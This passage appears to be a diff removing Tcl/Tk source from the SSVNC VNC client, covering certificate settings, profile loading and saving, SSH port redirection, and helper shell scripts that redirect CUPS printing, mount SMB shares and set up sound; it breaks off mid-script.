- button .c.svcert.b -text "Browse..." -command {set_svcert .c; catch {raise .c}}
- button .c.crtdir.b -text "Browse..." -command {set_crtdir .c; catch {raise .c}}
- button .c.crlfil.b -text "Browse..." -command {set_crlfil .c; catch {raise .c}}
-
- button .c.mycert.i -text "Info" -command {show_mycert}
- button .c.svcert.i -text "Info" -command {show_svcert}
- button .c.crtdir.i -text "Info" -command {}
- button .c.crlfil.i -text "Info" -command {show_crlfil}
-
- bind .c.mycert.b <Enter> "v_mycert"
- bind .c.svcert.b <Enter> "v_svcert"
- bind .c.crlfil.b <Enter> "v_crlfil"
-
- .c.mycert.i configure -state disabled
- .c.svcert.i configure -state disabled
- .c.crtdir.i configure -state disabled
- .c.crlfil.i configure -state disabled
-
- bind .c.mycert.b <B3-ButtonRelease> "show_mycert"
- bind .c.svcert.b <B3-ButtonRelease> "show_svcert"
- bind .c.crlfil.b <B3-ButtonRelease> "show_crlfil"
-
- set do_crl 1
- set do_row 1
-
- set c .c
- if {$do_row} {
- frame .c.b0
- set c .c.b0
- }
-
- button $c.create -text "Create Certificate ..." -command {create_cert}
- button $c.import -text "Import Certificate ..." -command {import_cert}
- button $c.delete -text "Delete Certificate ..." -command {delete_cert .c}
-
- if {$c != ".c"} {
- pack $c.create $c.import $c.delete -fill x -expand 1 -side left
- }
-
- frame .c.b
- button .c.b.done -text "Done" -command {catch {destroy .c}}
- bind .c <Escape> {destroy .c}
- button .c.b.help -text "Help" -command help_certs
- pack .c.b.help .c.b.done -fill x -expand 1 -side left
-
- set wlist [list mycert svcert crtdir]
- lappend wlist crlfil
-
- foreach w $wlist {
- pack .c.$w.l -side left
- pack .c.$w.e -side left -expand 1 -fill x
- pack .c.$w.b -side left
- pack .c.$w.i -side left
- bind .c.$w.e <Return> ".c.$w.b invoke"
- if {$use_ssh} {
- .c.$w.l configure -state disabled
- .c.$w.e configure -state disabled
- .c.$w.b configure -state disabled
- }
- }
-
- global svcert_default_force mycert_default_force crlfil_default_force
- if {$mycert_default_force} {
- .c.mycert.e configure -state readonly
- .c.mycert.b configure -state disabled
- }
- if {$svcert_default_force} {
- .c.svcert.e configure -state readonly
- .c.svcert.b configure -state disabled
- .c.crtdir.e configure -state readonly
- .c.crtdir.b configure -state disabled
- }
- if {$crlfil_default_force} {
- .c.crlfil.e configure -state readonly
- .c.crlfil.b configure -state disabled
- }
-
- if {$mycert != ""} {
- v_mycert
- }
- if {$svcert != ""} {
- v_svcert
- }
- if {$crlfil != ""} {
- v_crlfil
- }
-
- set wlist [list .c.mycert .c.svcert .c.crtdir]
- if {$do_crl} {
- lappend wlist .c.crlfil
- }
- if {$c != ".c"} {
- lappend wlist $c
- } else {
- lappend wlist .c.create .c.import .c.delete
- }
- lappend wlist .c.b
-
- eval pack $wlist -side top -fill x
-
- center_win .c
- wm resizable .c 1 0
-
- focus .c
-}
-
-proc get_profiles_dir {} {
- global env is_windows
-
- set dir ""
- if {$is_windows} {
- if [info exists env(SSVNC_HOME)] {
- set t "$env(SSVNC_HOME)/ss_vnc"
- regsub -all {\\} $t "/" t
- regsub -all {//*} $t "/" t
- if {! [file isdirectory $t]} {
- catch {file mkdir $t}
- }
- if [file isdirectory $t] {
- set dir $t
- set s "$t/profiles"
- if {! [file exists $s]} {
- catch {file mkdir $s}
- }
- }
- }
- if {$dir == ""} {
- set t [file dirname [pwd]]
- set t "$t/profiles"
- if [file isdirectory $t] {
- set dir $t
- }
- }
- } elseif [info exists env(SSVNC_HOME)] {
- set t "$env(SSVNC_HOME)/.vnc"
- catch {file mkdir $t}
- if [file isdirectory $t] {
- set dir $t
- set s "$t/profiles"
- if {! [file exists $s]} {
- catch {file mkdir $s}
- }
- }
- }
-
- if {$dir != ""} {
-
- } elseif [info exists env(SSVNC_BASEDIR)] {
- set dir $env(SSVNC_BASEDIR)
- } else {
- set dir [pwd]
- }
- if [file isdirectory "$dir/profiles"] {
- set dir "$dir/profiles"
- }
- return $dir
-}
-
-proc globalize {} {
- global defs
- foreach var [array names defs] {
- uplevel global $var
- }
-}
-
-proc load_include {include dir} {
- global include_vars defs
-
- if [info exists include_vars] {
- unset include_vars
- }
-
- foreach inc [split $include ", "] {
- set f [string trim $inc]
-#puts "f=$f";
- if {$f == ""} {
- continue
- }
- set try ""
- if {[regexp {/} $f] || [regexp {\\} $f]} {
- set try $f;
- } else {
- set try "$dir/$f"
- }
- if {! [file exists $try]} {
- set try "$dir/$f.vnc"
- }
-#puts "try: $try"
- if [file exists $try] {
- set fh ""
- catch {set fh [open $try "r"]}
- if {$fh == ""} {
- continue
- }
- mesg "Applying template: $inc"
- after 100
- while {[gets $fh line] > -1} {
- append inc_str "$line\n"
- if [regexp {^([^=]*)=(.*)$} $line m var val] {
- if {! [info exists defs($var)]} {
- continue
- }
- if {$var == "include_list"} {
- continue
- }
- set pct 0
- if {$var == "smb_mount_list"} {
- set pct 1
- }
- if {$var == "port_knocking_list"} {
- set pct 1
- }
- if {$pct} {
- regsub -all {%%%} $val "\n" val
- }
- if {$val != $defs($var)} {
-#puts "include_vars $var $val"
- set include_vars($var) $val
- }
- }
- }
- catch {close $fh}
- }
- }
-}
-
-proc unix_dialog_resize {{w .}} {
- global env is_windows uname unix_dialog_size
- set ok 0
- set width 600
- set height 300
- if {[info exists env(SSVNC_BIGGER_DIALOG)]} {
- set ok 1
- if {[regexp {([0-9][0-9]*)x([0-9][0-9]*)} $env(SSVNC_BIGGER_DIALOG) m wi he]} {
- set width $wi;
- set height $he;
- }
- } elseif {[info exists env(USER)] && $env(USER) == "runge"} {
- set ok 1
- }
- if {$ok} {
- # this is a personal hack because tk_getOpenFile size is not configurable.
- if {!$is_windows && $uname != "Darwin"} {
- if {$w == "."} {
- set w2 .__tk_filedialog
- } else {
- set w2 $w.__tk_filedialog
- }
- set w3 $w2.icons.canvas
- global udr_w4
- set udr_w4 $w2.f2.cancel
- if {! [info exists unix_dialog_size($w)]} {
- after 50 {global udr_w4; catch {$udr_w4 invoke}}
- tk_getOpenFile -parent $w -initialdir /
- set unix_dialog_size($w) 1
- }
- if [winfo exists $w3] {
- catch {$w3 configure -width $width}
- catch {$w3 configure -height $height}
- }
- }
- }
-}
-
-proc delete_profile {{parent "."}} {
-
- globalize
-
- set dir [get_profiles_dir]
-
- unix_dialog_resize $parent
- set file [tk_getOpenFile -parent $parent -initialdir $dir -title "DELETE VNC Profile"]
-
- if {$file == ""} {
- return
- }
-
- set tail [file tail $file]
-
- set ans [tk_messageBox -type okcancel -title "Delete $tail" -message "Really Delete $file?" -icon warning]
-
- if {$ans == "ok"} {
- catch {file delete $file}
- mesg "Deleted $tail"
- } else {
- mesg "Delete Skipped."
- }
-}
-
-proc load_profile {{parent "."} {infile ""}} {
- global profdone
- global vncdisplay
-
- globalize
-
- set dir [get_profiles_dir]
-
- if {$infile != ""} {
- set file $infile
- } else {
- unix_dialog_resize
- set file [tk_getOpenFile -parent $parent -defaultextension \
- ".vnc" -initialdir $dir -title "Load VNC Profile"]
- }
-
- if {$file == ""} {
- set profdone 1
- return
- }
- set fh [open $file "r"]
- if {! [info exists fh]} {
- set profdone 1
- return
- }
-
- set goto_mode "";
- set str ""
- set include ""
- set sw 1
- while {[gets $fh line] > -1} {
- append str "$line\n"
- if [regexp {^include_list=(.*)$} $line m val] {
- set include $val
- }
- global ssh_only ts_only
- if {$ssh_only || $ts_only} {
- if [regexp {use_ssh=0} $line] {
- if {$sw} {
- mesg "Switching to SSVNC mode."
- set goto_mode "ssvnc"
- update
- after 300
- } else {
- bell
- mesg "Cannot Load an SSL profile in SSH-ONLY mode."
- set profdone 1
- close $fh
- return
- }
- }
- }
- if {! $ts_only} {
- if [regexp {ts_mode=1} $line] {
- if {$sw} {
- mesg "Switching to Terminal Services mode."
- set goto_mode "tsonly"
- update
- after 300
- } else {
- bell
- mesg "Cannot Load a Terminal Svcs profile SSVNC mode."
- set profdone 1
- close $fh
- return
- }
- }
- } else {
- if [regexp {ts_mode=0} $line] {
- if {$sw} {
- mesg "Switching to SSVNC mode."
- set goto_mode "ssvnc"
- update
- after 300
- } else {
- bell
- mesg "Cannot Load a Terminal Svcs profile SSVNC mode."
- set profdone 1
- close $fh
- return
- }
- }
- }
- }
- close $fh
-
- if {$include != ""} {
- load_include $include $dir
- }
-
- if {$goto_mode == "tsonly"} {
- to_tsonly
- } elseif {$goto_mode == "ssvnc"} {
- to_ssvnc
- } elseif {$goto_mode == "sshvnc"} {
- to_sshvnc
- }
- set_defaults
-
- global include_vars
- if [info exists include_vars] {
- foreach var [array names include_vars] {
- set $var $include_vars($var)
- }
- }
-
-
- global use_ssl use_ssh use_sshssl
- set use_ssl 0
- set use_ssh 0
- set use_sshssl 0
-
- global defs
- foreach line [split $str "\n"] {
- set line [string trim $line]
- if [regexp {^#} $line] {
- continue
- }
- if [regexp {^([^=]*)=(.*)$} $line m var val] {
- if {$var == "disp"} {
- set vncdisplay $val
- continue
- }
- if [info exists defs($var)] {
- set pct 0
- if {$var == "smb_mount_list"} {
- set pct 1
- }
- if {$var == "port_knocking_list"} {
- set pct 1
- }
- if {$pct} {
- regsub -all {%%%} $val "\n" val
- }
- set $var $val
- }
- }
- }
-
- init_vncdisplay
- if {! $use_ssl && ! $use_ssh && ! $use_sshssl} {
- if {! $disable_all_encryption} {
- set use_ssl 1
- }
- }
- if {$use_ssl} {
- set use_ssh 0
- set use_sshssl 0
- } elseif {$use_ssh && $use_sshssl} {
- set use_ssh 0
- }
- sync_use_ssl_ssh
-
- set compresslevel_text "Compress Level: $use_compresslevel"
- set quality_text "Quality: $use_quality"
-
- set profdone 1
- putty_pw_entry check
- listen_adjust
- unixpw_adjust
-
- global last_load
- set last_load [file tail $file]
-
- global uname darwin_cotvnc
- if {$uname == "Darwin"} {
- if {$use_x11_macosx} {
- set darwin_cotvnc 0;
- } else {
- set darwin_cotvnc 1;
- }
- }
-
- mesg "Loaded [file tail $file]"
-}
-
-proc sync_use_ssl_ssh {} {
- global use_ssl use_ssh use_sshssl
- global disable_all_encryption
- if {$use_ssl} {
- ssl_ssh_adjust ssl
- } elseif {$use_ssh} {
- ssl_ssh_adjust ssh
- } elseif {$use_sshssl} {
- ssl_ssh_adjust sshssl
- } elseif {$disable_all_encryption} {
- ssl_ssh_adjust none
- } else {
- ssl_ssh_adjust ssl
- }
-}
-
-proc save_profile {{parent "."}} {
- global is_windows uname
- global profdone
- global include_vars defs
- global ts_only
- global last_load
-
- globalize
-
- set dir [get_profiles_dir]
-
- set vncdisp [get_vncdisplay]
-
- set dispf [string trim $vncdisp]
- if {$dispf != ""} {
- regsub {[ ].*$} $dispf "" dispf
- regsub -all {/} $dispf "" dispf
- } else {
- global ts_only
- if {$ts_only} {
- mesg "No VNC Terminal Server supplied."
- } else {
- mesg "No VNC Host:Disp supplied."
- }
- bell
- return
- }
- if {$is_windows || $uname == "Darwin"} {
- regsub -all {:} $dispf "-" dispf
- } else {
- regsub -all {:} $dispf "-" dispf
- }
- regsub -all {[\[\]]} $dispf "" dispf
- if {$ts_only && ![regexp {^TS-} $dispf]} {
- set dispf "TS-$dispf"
- }
- if {![regexp {\.vnc$} $dispf]} {
- set dispf "$dispf.vnc"
- }
-
- set guess $dispf
- if {$last_load != ""} {
- set guess $last_load
- }
-
- unix_dialog_resize
- set file [tk_getSaveFile -parent $parent -defaultextension ".vnc" \
- -initialdir $dir -initialfile "$guess" -title "Save VNC Profile"]
- if {$file == ""} {
- set profdone 1
- return
- }
- set fh [open $file "w"]
- if {! [info exists fh]} {
- set profdone 1
- return
- }
- set h [string trim $vncdisp]
- set p $h
- # XXX host_part
- regsub {:[0-9][0-9]*$} $h "" h
- set host $h
- regsub {[ ].*$} $p "" p
- regsub {^.*:} $p "" p
- regsub { .*$} $p "" p
- if {$p == ""} {
- set p 0
- } elseif {![regexp {^[-0-9][0-9]*$} $p]} {
- set p 0
- }
- if {$p < 0} {
- set port $p
- } elseif {$p < 200} {
- set port [expr $p + 5900]
- } else {
- set port $p
- }
-
- set h [string trim $vncdisp]
- regsub {cmd=.*$} $h "" h
- set h [string trim $h]
- if {! [regexp {[ ]} $h]} {
- set h ""
- } else {
- regsub {^.*[ ]} $h "" h
- }
- if {$h == ""} {
- set proxy ""
- set proxyport ""
- } else {
- set p $h
- regsub {:[0-9][0-9]*$} $h "" h
- set proxy $h
- regsub {[ ].*$} $p "" p
- regsub {^.*:} $p "" p
- if {$p == ""} {
- set proxyport 0
- } else {
- set proxyport $p
- }
- }
-
- puts $fh "\[connection\]"
- puts $fh "host=$host"
- puts $fh "port=$port"
- puts $fh "proxyhost=$proxy"
- puts $fh "proxyport=$proxyport"
- puts $fh "disp=$vncdisp"
- puts $fh "\n\[options\]"
- puts $fh "# parameters commented out with '#' indicate the default setting."
-
- if {$include_list != ""} {
- load_include $include_list [get_profiles_dir]
- }
- global sshssl_sw
- if {! $use_ssl && ! $use_ssh && ! $use_sshssl} {
- if {$sshssl_sw == "none"} {
- set disable_all_encryption 1
- }
- }
-
- global ts_only ssh_only
- if {$ts_only} {
- set ts_mode 1
- } else {
- set ts_mode 0
- }
- foreach var [lsort [array names defs]] {
- eval set val \$$var
- set pre ""
- if {$val == $defs($var)} {
- set pre "#"
- }
- if {$ssh_only && $var == "use_ssh"} {
- set pre ""
- }
- set pct 0
- if {$var == "smb_mount_list"} {
- set pct 1
- }
- if {$var == "port_knocking_list"} {
- set pct 1
- }
- if {$include_list != "" && [info exists include_vars($var)]} {
- if {$val == $include_vars($var)} {
- if {$pct} {
- regsub -all "\n" $val "%%%" val
- }
- puts $fh "#from include: $var=$val"
- continue
- }
- }
- if {$pct} {
- regsub -all "\n" $val "%%%" val
- }
- puts $fh "$pre$var=$val"
- }
-
- close $fh
-
- mesg "Saved Profile: [file tail $file]"
-
- set last_load [file tail $file]
-
- set profdone 1
-}
-
-proc set_ssh {} {
- global use_ssl
- if {$use_ssl} {
- ssl_ssh_adjust ssh
- }
-}
-
-proc expand_IP {redir} {
- if {! [regexp {:IP:} $redir]} {
- return $redir
- }
- if {! [regexp {(-R).*:IP:} $redir]} {
- return $redir
- }
-
- set ip [guess_ip]
- set ip [string trim $ip]
- if {$ip == ""} {
- return $redir
- }
-
- regsub -all {:IP:} $redir ":$ip:" redir
- return $redir
-}
-
-proc rand_port {} {
- global rand_port_list
-
- set p ""
- for {set i 0} {$i < 30} {incr i} {
- set p [expr 25000 + 35000 * rand()]
- set p [expr round($p)]
- if {![info exists rand_port_list($p)]} {
- break
- }
- }
- if {$p == ""} {
- unset rand_port_list
- set p [expr 25000 + 35000 * rand()]
- set p [expr round($p)]
- }
- set rand_port_list($p) 1
- return $p
-}
-
-proc get_cups_redir {} {
- global cups_local_server cups_remote_port
- global cups_local_smb_server cups_remote_smb_port
-
- regsub -all {[ ]} $cups_local_server "" cups_local_server
- regsub -all {[ ]} $cups_remote_port "" cups_remote_port
- regsub -all {[ ]} $cups_local_smb_server "" cups_local_smb_server
- regsub -all {[ ]} $cups_remote_smb_port "" cups_remote_smb_port
-
- set redir ""
-
- if {$cups_local_server != "" && $cups_remote_port != ""} {
- set redir "$cups_remote_port:$cups_local_server"
- regsub -all {['" ]} $redir {} redir; #"
- set redir " -R $redir"
- }
- if {$cups_local_smb_server != "" && $cups_remote_smb_port != ""} {
- set redir2 "$cups_remote_smb_port:$cups_local_smb_server"
- regsub -all {['" ]} $redir2 {} redir2; #"
- set redir "$redir -R $redir2"
- }
- set redir [expand_IP $redir]
- return $redir
-}
-
-proc get_additional_redir {} {
- global additional_port_redirs additional_port_redirs_list
- global ts_only choose_x11vnc_opts
- if {! $additional_port_redirs || $additional_port_redirs_list == ""} {
- return ""
- }
- if {$ts_only && !$choose_x11vnc_opts} {
- return ""
- }
- set redir [string trim $additional_port_redirs_list]
- regsub -all {['"]} $redir {} redir; #"
- set redir " $redir"
- set redir [expand_IP $redir]
- return $redir
-}
-
-proc get_sound_redir {} {
- global sound_daemon_remote_port sound_daemon_local_port
- global sound_daemon_x11vnc
-
- regsub -all {[ ]} $sound_daemon_remote_port "" sound_daemon_remote_port
- regsub -all {[ ]} $sound_daemon_local_port "" sound_daemon_local_port
-
- set redir ""
- if {$sound_daemon_local_port == "" || $sound_daemon_remote_port == ""} {
- return $redir
- }
-
- set loc $sound_daemon_local_port
- if {! [regexp {:} $loc]} {
- global uname
- if {$uname == "Darwin"} {
- set loc "127.0.0.1:$loc"
- } else {
- global is_windows
- if {$is_windows} {
- global win_localhost
- set loc "$win_localhost:$loc"
- } else {
- set loc "localhost:$loc"
- }
- }
- }
- set redir "$sound_daemon_remote_port:$loc"
- regsub -all {['" ]} $redir {} redir; #"
- set redir " -R $redir"
- set redir [expand_IP $redir]
- return $redir
-}
-
-proc get_smb_redir {} {
- global smb_mount_list
-
- set s [string trim $smb_mount_list]
- if {$s == ""} {
- return ""
- }
-
- set did(0) 1
- set redir ""
- set mntlist ""
-
- foreach line [split $s "\r\n"] {
- set str [string trim $line]
- if {$str == ""} {
- continue
- }
- if {[regexp {^#} $str]} {
- continue
- }
-
- set port ""
- if [regexp {^([0-9][0-9]*)[ \t][ \t]*(.*)} $str mvar port rest] {
- # leading port
- set str [string trim $rest]
- }
-
- # grab: //share /dest [host[:port]]
- set share ""
- set dest ""
- set hostport ""
- foreach item [split $str] {
- if {$item == ""} {
- continue
- }
- if {$share == ""} {
- set share [string trim $item]
- } elseif {$dest == ""} {
- set dest [string trim $item]
- } elseif {$hostport == ""} {
- set hostport [string trim $item]
- }
- }
-
- regsub {^~/} $dest {$HOME/} dest
-
- # work out the local host:port
- set lhost ""
- set lport ""
- if {$hostport != ""} {
- if [regexp {(.*):([0-9][0-9]*)} $hostport mvar lhost lport] {
- ;
- } else {
- set lhost $hostport
- set lport 139
- }
- } else {
- if [regexp {//([^/][^/]*)/} $share mvar h] {
- if [regexp {(.*):([0-9][0-9]*)} $h mvar lhost lport] {
- ;
- } else {
- set lhost $h
- set lport 139
- }
- } else {
- global is_windows win_localhost
- set lhost "localhost"
- if {$is_windows} {
- set lhost $win_localhost
- }
- set lport 139
- }
- }
-
- if {$port == ""} {
- if [info exists did("$lhost:$lport")] {
- # reuse previous one:
- set port $did("$lhost:$lport")
- } else {
- # choose one at random:
- for {set i 0} {$i < 3} {incr i} {
- set port [expr 20100 + 9000 * rand()]
- set port [expr round($port)]
- if { ! [info exists did($port)] } {
- break
- }
- }
- }
- set did($port) 1
- }
-
- if {$mntlist != ""} {
- append mntlist " "
- }
- append mntlist "$share,$dest,$port"
-
- if { ! [info exists did("$lhost:$lport")] } {
- append redir " -R $port:$lhost:$lport"
- set did("$lhost:$lport") $port
- }
- }
-
- regsub -all {['"]} $redir {} redir; #"
- set redir [expand_IP $redir]
-
- regsub -all {['"]} $mntlist {} mntlist; #"
-
- set l [list]
- lappend l $redir
- lappend l $mntlist
- return $l
-}
-
-proc ugly_setup_scripts {mode tag} {
-
-set cmd(1) {
- SSHD_PID=""
- FLAG=$HOME/.vnc-helper-flag__PID__
-
- if [ "X$USER" = "X" ]; then
- USER=$LOGNAME
- fi
-
- DO_CUPS=0
- cups_dir=$HOME/.cups
- cups_cfg=$cups_dir/client.conf
- cups_host=localhost
- cups_port=NNNN
-
- DO_SMB=0
- DO_SMB_SU=0
- DO_SMB_WAIT=0
- smb_mounts=
- DONE_PORT_CHECK=NNNN
- smb_script=$HOME/.smb-mounts__PID__.sh
-
- DO_SOUND=0
- DO_SOUND_KILL=0
- DO_SOUND_RESTART=0
- sound_daemon_remote_prog=
- sound_daemon_remote_args=
-
- findpid() {
- db=0
- back=30
- touch $FLAG
- tty=`tty | sed -e "s,/dev/,,"`
-
- if [ "X$TOPPID" = "X" ]; then
- TOPPID=$$
- if [ $db = 1 ]; then echo "set TOPPID to $TOPPID"; fi
- back=70
- fi
- #back=5
- if [ $db = 1 ]; then echo "TOPPID=$TOPPID THISPID=$$ back=$back"; fi
-
- i=1
- while [ $i -lt $back ]
- do
- try=`expr $TOPPID - $i`
- if [ $try -lt 1 ]; then
- try=`expr 32768 + $try`
- fi
- if [ $db = 1 ]; then echo try-1=$try; ps $try; fi
- if ps $try 2>/dev/null | grep "sshd.*$USER" | grep "$tty" >/dev/null; then
- if [ $db = 1 ]; then echo Found=$try; fi
- SSHD_PID="$try"
- echo
- ps $try
- echo
- break
- fi
- i=`expr $i + 1`
- done
-
- if [ "X$SSHD_PID" = "X" ]; then
- back=`expr $back + 20`
- #back=5
-
- for fallback in 2 3
- do
- i=1
- while [ $i -lt $back ]
- do
- try=`expr $TOPPID - $i`
- if [ $try -lt 1 ]; then
- try=`expr 32768 + $try`
- fi
- match="sshd.*$USER"
- if [ $fallback = 3 ]; then
- match="sshd"
- fi
- if [ $db = 1 ]; then echo "try-$fallback=$try match=$match"; ps $try; fi
- if ps $try 2>/dev/null | grep "$match" >/dev/null; then
- if [ $db = 1 ]; then echo Found=$try; fi
- SSHD_PID="$try"
- echo
- ps $try
- echo
- break
- fi
- i=`expr $i + 1`
- done
- if [ "X$SSHD_PID" != "X" ]; then
- break
- fi
- done
- fi
- #curlie}
-};
-
-set cmd(2) {
- #curlie{
- if [ "X$SSHD_PID" = "X" ]; then
- if [ $db = 1 ]; then
- echo
- pstr=`ps -elf | grep "$USER" | grep "$tty" | grep -v grep | grep -v PID | grep -v "ps -elf"`
- echo "$pstr"
- fi
- plist=`ps -elf | grep "$USER" | grep "$tty" | grep -v grep | grep -v PID | grep -v "ps -elf" | awk "{print \\\$4}" | sort -n`
- if [ $db = 1 ]; then
- echo
- echo "$plist"
- fi
- for try in $plist
- do
- if [ $db = 1 ]; then echo try-final=$try; ps $try; fi
- if echo "$try" | grep "^[0-9][0-9]*\\\$" > /dev/null; then
- :
- else
- continue
- fi
- if ps $try | egrep vnc-helper > /dev/null; then
- :
- else
- if [ $db = 1 ]; then echo Found=$try; fi
- SSHD_PID=$try
- echo
- ps $try
- echo
- break
- fi
- done
- fi
- if [ "X$SSHD_PID" = "X" ]; then
- #ugh
- SSHD_PID=$$
- fi
-
- echo "vnc-helper: [for cups/smb/esd] SSHD_PID=$SSHD_PID MY_PID=$$ TTY=$tty"
- echo "vnc-helper: To force me to finish: rm $FLAG"
- }
-
- wait_til_ssh_gone() {
- try_perl=""
- if type perl >/dev/null 2>&1; then
- if [ -d /proc -a -e /proc/$$ ]; then
- try_perl="1"
- fi
- fi
- if [ "X$try_perl" = "X1" ]; then
- # try to avoid wasting pids:
- perl -e "while (1) {if(-d \"/proc\" && ! -e \"/proc/$SSHD_PID\"){exit} if(! -f \"$FLAG\"){exit} sleep 1;}"
- else
- while [ 1 ]
- do
- ps $SSHD_PID > /dev/null 2>&1
- if [ $? != 0 ]; then
- break
- fi
- if [ ! -f $FLAG ]; then
- break
- fi
- sleep 1
- done
- fi
- rm -f $FLAG
- if [ "X$DO_SMB_WAIT" = "X1" ]; then
- rm -f $smb_script
- fi
- }
-};
-
-set cmd(3) {
- update_client_conf() {
- mkdir -p $cups_dir
-
- if [ ! -f $cups_cfg.back ]; then
- touch $cups_cfg.back
- fi
- if [ ! -f $cups_cfg ]; then
- touch $cups_cfg
- fi
-
- if grep ssvnc-auto $cups_cfg > /dev/null; then
- :
- else
- cp -p $cups_cfg $cups_cfg.back
- fi
-
- echo "#-ssvnc-auto:" > $cups_cfg
- sed -e "s/^ServerName/#-ssvnc-auto-#ServerName/" $cups_cfg.back >> $cups_cfg
- echo "ServerName $cups_host:$cups_port" >> $cups_cfg
-
- echo
- echo "-----------------------------------------------------------------"
- echo "On `hostname`:"
- echo
- echo "The CUPS $cups_cfg config file has been set to:"
- echo
- cat $cups_cfg | grep -v "^#-ssvnc-auto:" | sed -e "s/^/ /"
- echo
- echo "If there are problems automatically restoring it, edit or remove"
- echo "the file to go back to the local CUPS settings."
- echo
- echo "A backup has been placed in: $cups_cfg.back"
- echo
- echo "See the SSVNC CUPS dialog for more details on printing."
- if type lpstat >/dev/null 2>&1; then
- echo
- echo "lpstat -a output:"
- echo
- (lpstat -a 2>&1 | sed -e "s/^/ /") &
- sleep 0.5 >/dev/null 2>&1
- fi
- echo "-----------------------------------------------------------------"
- echo
- }
-
- reset_client_conf() {
- cp $cups_cfg $cups_cfg.tmp
- grep -v "^ServerName" $cups_cfg.tmp | grep -v "^#-ssvnc-auto:" | sed -e "s/^#-ssvnc-auto-#ServerName/ServerName/" > $cups_cfg
- rm -f $cups_cfg.tmp
- }
-
- cupswait() {
- trap "" INT QUIT HUP
- trap "reset_client_conf; rm -f $FLAG; exit" TERM
- wait_til_ssh_gone
- reset_client_conf
- }
-};
-
-# if [ "X$DONE_PORT_CHECK" != "X" ]; then
-# if type perl >/dev/null 2>&1; then
-# perl -e "use IO::Socket::INET; \$SIG{INT} = \"IGNORE\"; \$SIG{QUIT} = \"IGNORE\"; \$SIG{HUP} = \"INGORE\"; my \$client = IO::Socket::INET->new(Listen => 5, LocalAddr => \"localhost\", LocalPort => $DONE_PORT_CHECK, Proto => \"tcp\")->accept(); \$line = <\$client>; close \$client; unlink \"$smb_script\";" </dev/null >/dev/null 2>/dev/null &
-# if [ $? = 0 ]; then
-# have_perl_done="1"
-# fi
-# fi
-# fi
-
-set cmd(4) {
- smbwait() {
- trap "" INT QUIT HUP
- wait_til_ssh_gone
- }
- do_smb_mounts() {
- if [ "X$smb_mounts" = "X" ]; then
- return
- fi
- echo > $smb_script
- have_perl_done=""
- echo "echo" >> $smb_script
- dests=""
- for mnt in $smb_mounts
- do
- smfs=`echo "$mnt" | awk -F, "{print \\\$1}"`
- dest=`echo "$mnt" | awk -F, "{print \\\$2}"`
- port=`echo "$mnt" | awk -F, "{print \\\$3}"`
- dest=`echo "$dest" | sed -e "s,__USER__,$USER,g" -e "s,__HOME__,$HOME,g"`
- if [ ! -d $dest ]; then
- mkdir -p $dest
- fi
- echo "echo SMBMOUNT:" >> $smb_script
- echo "echo smbmount $smfs $dest -o uid=$USER,ip=127.0.0.1,port=$port" >> $smb_script
- echo "smbmount \"$smfs\" \"$dest\" -o uid=$USER,ip=127.0.0.1,port=$port" >> $smb_script
- echo "echo; df \"$dest\"; echo" >> $smb_script
- dests="$dests $dest"
- done
- #curlie}
-};
-
-set cmd(5) {
- echo "(" >> $smb_script
- echo "un_mnt() {" >> $smb_script
- for dest in $dests
- do
- echo " echo smbumount $dest" >> $smb_script
- echo " smbumount \"$dest\"" >> $smb_script
- done
- echo "}" >> $smb_script
- echo "trap \"\" INT QUIT HUP" >> $smb_script
- echo "trap \"un_mnt; exit\" TERM" >> $smb_script
-
- try_perl=""
- if type perl >/dev/null 2>&1; then
- try_perl=1
- fi
- uname=`uname`
- if [ "X$uname" != "XLinux" -a "X$uname" != "XSunOS" -a "X$uname" != "XDarwin" ]; then
- try_perl=""
- fi
-
- if [ "X$try_perl" = "X" ]; then
- echo "while [ -f $smb_script ]" >> $smb_script
- echo "do" >> $smb_script
- echo " sleep 1" >> $smb_script
- echo "done" >> $smb_script
- else
- echo "perl -e \"while (-f \\\"$smb_script\\\") {sleep 1;} exit 0;\"" >> $smb_script
- fi
- echo "un_mnt" >> $smb_script
- echo ") &" >> $smb_script
- echo "-----------------------------------------------------------------"
- echo "On `hostname`:"
- echo
- if [ "$DO_SMB_SU" = "0" ]; then
- echo "We now run the smbmount script as user $USER"
- echo
- echo sh $smb_script
- sh $smb_script
- rc=0
- elif [ "$DO_SMB_SU" = "1" ]; then
- echo "We now run the smbmount script via su(1)"
- echo
- echo "The first \"Password:\" will be for that of root to run the smbmount script."
- echo
- echo "Subsequent \"Password:\" will be for the SMB share(s) (hit Return if no passwd)"
- echo
- echo SU:
- echo "su root -c \"sh $smb_script\""
- su root -c "sh $smb_script"
- rc=$?
- elif [ "$DO_SMB_SU" = "2" ]; then
- echo "We now run the smbmount script via sudo(8)"
- echo
- echo "The first \"Password:\" will be for that of the sudo(8) password."
- echo
- echo "Subsequent \"Password:\" will be for the SMB shares (hit enter if no passwd)"
- echo
- echo SUDO:
- sd="sudo"
- echo "$sd sh $smb_script"
- $sd sh $smb_script
- rc=$?
- fi
-};
-
-set cmd(6) {
- #curlie{
- echo
- if [ "$rc" = 0 ]; then
- if [ "X$have_perl_done" = "X1" -o 1 = 1 ] ; then
- echo
- echo "Your SMB shares will be unmounted when the VNC connection closes,"
- echo "*AS LONG AS* No Applications have any of the share files opened or are"
- echo "cd-ed into any of the share directories."
- echo
- echo "Try to make sure nothing is accessing the SMB shares before disconnecting"
- echo "the VNC session. If you fail to do that follow these instructions:"
- fi
- echo
- echo "To unmount your SMB shares make sure no applications are still using any of"
- echo "the files and no shells are still cd-ed into the share area, then type:"
- echo
- echo " rm -f $smb_script"
- echo
- echo "In the worst case run: smbumount /path/to/mount/point for each mount as root"
- echo
- echo "Even with the remote redirection gone the kernel should umount after a timeout."
- else
- echo
- if [ "$DO_SMB_SU" = "1" ]; then
- echo "su(1) to run smbmount(8) failed."
- elif [ "$DO_SMB_SU" = "2" ]; then
- echo "sudo(8) to run smbmount(8) failed."
- fi
- rm -f $smb_script
- fi
- echo "-----------------------------------------------------------------"
- echo
- }
-};
-
-set cmd(7) {
-
- setup_sound() {
- dpid=""
- d=$sound_daemon_remote_prog
- if type pgrep >/dev/null 2>/dev/null; then
- dpid=`pgrep -U $USER -x $d | head -1`
- else
- dpid=`env PATH=/usr/ucb:$PATH ps wwwwaux | grep -w $USER | grep -w $d | grep -v grep | head -1`
- fi
- echo "-----------------------------------------------------------------"
- echo "On `hostname`:"
- echo
- echo "Setting up Sound: pid=$dpid"
- if [ "X$dpid" != "X" ]; then
- dcmd=`env PATH=/usr/ucb:$PATH ps wwwwaux | grep -w $USER | grep -w $d | grep -w $dpid | grep -v grep | head -1 | sed -e "s/^.*$d/$d/"`
